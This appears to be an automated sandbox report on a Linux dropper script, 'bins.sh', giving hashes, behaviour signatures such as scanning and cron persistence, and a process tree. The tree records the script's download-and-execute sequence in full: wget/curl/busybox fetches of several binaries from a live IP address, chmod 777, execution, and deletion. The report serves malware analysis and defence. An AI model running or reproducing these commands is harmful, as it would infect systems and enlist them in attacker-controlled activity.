Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 07:14

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    acf9f575ad4baba7d6272ee313fb67e5

  • SHA1

    8eeb94b3ee523a0d71cd2d8c1d5931fcde651e1a

  • SHA256

    29b6fbf8520e38ee858951211cf8d6364128b9e1a351e9fcc96cf4dc06c45e87

  • SHA512

    13a836bc239e2e1ccc70a558add24a0e74bac3382834b06489b8a316519a5376874cde608c0546de15bcd6aebd9c903089a751b52d7d40ad4a0f2cd6549b6c3d

  • SSDEEP

    96:yTPLN/mDiM57xKWeDvfo4458rr4cNXpfCT/invORL57RE684cN3KWeDvfJu4458L:cPRWiM3KWevfnKWevfP

Malware Config

Signatures

  • Contacts a large (2114) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:674
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:678
        • /usr/bin/wget
          wget http://216.126.231.240/bins/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • Writes file to tmp directory
          PID:681
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:694
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • Writes file to tmp directory
          PID:705
        • /bin/chmod
          chmod 777 XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • File and Directory Permissions Modification
          PID:707
        • /tmp/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          ./XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:708
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:710
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:711
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:712
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:713
              • /bin/rm
                rm XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
                2⤵
                  PID:715
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
                  2⤵
                    PID:718
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
                    2⤵
                      PID:729
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
                      2⤵
                      • Writes file to tmp directory
                      PID:808
                    • /bin/chmod
                      chmod 777 7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
                      2⤵
                      • File and Directory Permissions Modification
                      PID:809
                    • /tmp/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
                      ./7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
                      2⤵
                      • Executes dropped EXE
                      PID:810
                    • /bin/rm
                      rm 7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
                      2⤵
                        PID:814
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
                        2⤵
                          PID:816
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
                          2⤵
                            PID:818
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
                            2⤵
                            • Writes file to tmp directory
                            PID:819
                          • /bin/chmod
                            chmod 777 okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
                            2⤵
                            • File and Directory Permissions Modification
                            PID:824
                          • /tmp/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
                            ./okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
                            2⤵
                            • Executes dropped EXE
                            PID:825
                          • /bin/rm
                            rm okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
                            2⤵
                              PID:832
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                              2⤵
                                PID:845
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                                2⤵
                                  PID:847
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:849
                                • /bin/chmod
                                  chmod 777 yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:852
                                • /tmp/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                                  ./yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                                  2⤵
                                  • Executes dropped EXE
                                  PID:854
                                • /bin/rm
                                  rm yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                                  2⤵
                                    PID:856
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                                    2⤵
                                      PID:858
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                                      2⤵
                                        PID:859
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:862
                                      • /bin/chmod
                                        chmod 777 bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:871
                                      • /tmp/bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                                        ./bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                                        2⤵
                                        • Executes dropped EXE
                                        PID:872
                                      • /bin/rm
                                        rm bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                                        2⤵
                                          PID:875
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                                          2⤵
                                            PID:876
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                                            2⤵
                                              PID:878
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:880
                                            • /bin/chmod
                                              chmod 777 MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:884
                                            • /tmp/MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                                              ./MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                                              2⤵
                                              • Executes dropped EXE
                                              PID:885
                                            • /bin/rm
                                              rm MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI
                                              2⤵
                                                PID:890
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                                                2⤵
                                                  PID:891
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                                                  2⤵
                                                    PID:892
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.240/bins/IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:899
                                                  • /bin/chmod
                                                    chmod 777 IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:902
                                                  • /tmp/IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                                                    ./IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:904
                                                  • /bin/rm
                                                    rm IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y
                                                    2⤵
                                                      PID:906
                                                    • /usr/bin/wget
                                                      wget http://216.126.231.240/bins/33CZBj1GodbN3rXtnwzVXt1BitPBrN9D1F
                                                      2⤵
                                                        PID:907
                                                      • /usr/bin/curl
                                                        curl -O http://216.126.231.240/bins/33CZBj1GodbN3rXtnwzVXt1BitPBrN9D1F
                                                        2⤵
                                                          PID:911

                                                      Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • /tmp/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B

                                                        Filesize

                                                        107KB

                                                        MD5

                                                        eb9c3a0de91fcf16ba17cb24608df68c

                                                        SHA1

                                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                                        SHA256

                                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                        SHA512

                                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                      • /tmp/IsmM31vRrZ10X5K36c1Wqh7XZoKFpHTJ0y

                                                        Filesize

                                                        151KB

                                                        MD5

                                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                                        SHA1

                                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                        SHA256

                                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                        SHA512

                                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                      • /tmp/MPFVLwE2F2jCO6xSz3GURew8rb6AW49OkI

                                                        Filesize

                                                        127KB

                                                        MD5

                                                        89077b7bd4bcafca7713be43635c4862

                                                        SHA1

                                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                                        SHA256

                                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                        SHA512

                                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                      • /tmp/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa

                                                        Filesize

                                                        141KB

                                                        MD5

                                                        3ca8decdb1e52c423c521bfff02ac200

                                                        SHA1

                                                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                        SHA256

                                                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                        SHA512

                                                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                      • /tmp/bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL

                                                        Filesize

                                                        98KB

                                                        MD5

                                                        5141342d0df8699fa32a6b066a0c592e

                                                        SHA1

                                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                        SHA256

                                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                        SHA512

                                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                      • /tmp/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy

                                                        Filesize

                                                        117KB

                                                        MD5

                                                        849fa04ef88a8e8de32cb2e8538de5fe

                                                        SHA1

                                                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                        SHA256

                                                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                        SHA512

                                                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                      • /tmp/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C

                                                        Filesize

                                                        112KB

                                                        MD5

                                                        05d7857dcead18bbd86d2935f591873c

                                                        SHA1

                                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                        SHA256

                                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                        SHA512

                                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                      • /var/spool/cron/crontabs/tmp.7KMeFV

                                                        Filesize

                                                        210B

                                                        MD5

                                                        70a4e4dd9cd5f58bd30f0482a0055b38

                                                        SHA1

                                                        f9ff4cd786f1413ddfc06bcd5fd47cd779ef9445

                                                        SHA256

                                                        72f6ceed0fc7b689a9124d25e167f2178da5f22620daf1dc3de96ec9651592ef

                                                        SHA512

                                                        d46a07128b9c41696988a74c12644e90b8b6474855234fa2de5915f6ccaf747dd853cb8e7081cce6452fb4f14e98f806c43e961a5d184e6b5e38324b88cf0768